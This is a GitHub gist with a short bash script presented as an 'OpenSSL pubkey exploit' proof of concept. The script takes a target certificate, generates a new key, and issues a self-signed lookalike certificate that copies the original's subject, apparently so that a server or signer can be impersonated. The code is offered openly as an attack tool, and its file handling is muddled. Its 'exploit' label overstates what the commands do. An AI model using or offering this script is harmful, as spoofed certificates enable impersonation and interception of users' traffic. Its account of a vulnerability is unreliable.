Skip to content

Instantly share code, notes, and snippets.

@gdisneyleugers
Created April 27, 2014 02:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gdisneyleugers/11336541 to your computer and use it in GitHub Desktop.
Save gdisneyleugers/11336541 to your computer and use it in GitHub Desktop.
#!/bin/bash
echo "Openssl Pubkey exploit PoC"
echo "usage: keyspoof cert.crt spoof.key"
openssl x509 -in $1 -pubkey -noout > $2
openssl genrsa 2048 >> $2
cat $2 >> pub-$2
openssl rsa -in $2 -out $2
openssl x509 -x509toreq -in $1 -signkey $2 >> $2.csr
openssl req -in $2.csr -key $2 -x509 -out $2.crt
gnutls-certtool -c --load-ca-privkey $2 --load-ca-certificate $2.crt --load-pubkey pub-$2 --outfile=$2.pem
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment